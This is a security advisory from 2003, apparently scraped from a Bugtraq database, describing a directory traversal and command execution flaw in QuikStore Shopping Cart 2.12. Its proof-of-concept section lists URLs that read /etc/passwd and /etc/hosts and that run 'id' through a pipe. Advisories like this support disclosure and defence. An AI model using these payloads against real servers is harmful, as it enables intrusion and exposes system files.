iSoft-Solutions QuikStore Shopping Cart template Parameter Directory Traversal Vulnerability
BID:9283
Info
iSoft-Solutions QuikStore Shopping Cart template Parameter Directory Traversal Vulnerability
| Bugtraq ID: | 9283 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 23 2003 12:00AM |
| Updated: | Dec 23 2003 12:00AM |
| Credit: | The disclosure of this issue has been credited to Dr Ponidi Haryanto <[email protected]>. |
| Vulnerable: |
iSoft-Solutions QuikStore Shopping Cart 2.12 |
| Not Vulnerable: | |
Discussion
iSoft-Solutions QuikStore Shopping Cart template Parameter Directory Traversal Vulnerability
It has been reported that QuikStore Shopping Cart may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '../' character sequences. The issue exists due to insufficient sanitization of user-supplied data through the 'template' parameter of the 'quikstore.cgi' script. This issue may also allow an attacker to carry out remote command execution by executing the vulnerable script and including malicious shell metacharacters and commands as a value for the 'template' parameter.
Specific vulnerable versions of the software were not identified in the report; therefore it is being assumed that the current version QuikStore Shopping Cart v2.12 is vulnerable to this issue.
It has been reported that QuikStore Shopping Cart may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '../' character sequences. The issue exists due to insufficient sanitization of user-supplied data through the 'template' parameter of the 'quikstore.cgi' script. This issue may also allow an attacker to carry out remote command execution by executing the vulnerable script and including malicious shell metacharacters and commands as a value for the 'template' parameter.
Specific vulnerable versions of the software were not identified in the report; therefore it is being assumed that the current version QuikStore Shopping Cart v2.12 is vulnerable to this issue.
Exploit / POC
iSoft-Solutions QuikStore Shopping Cart template Parameter Directory Traversal Vulnerability
The following proof of concept has been provided:
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../etc/passwd%00.html
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../etc/hosts
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../usr/bin/id|
The following proof of concept has been provided:
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../etc/passwd%00.html
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../etc/hosts
http://www.example.com/quikstore.cgi?category=blah&template=../../../../../../../../../../../../usr/bin/id|
Solution / Fix
iSoft-Solutions QuikStore Shopping Cart template Parameter Directory Traversal Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
iSoft-Solutions QuikStore Shopping Cart template Parameter Directory Traversal Vulnerability
References:
References:
- QuikStore (iSoft-Solutions)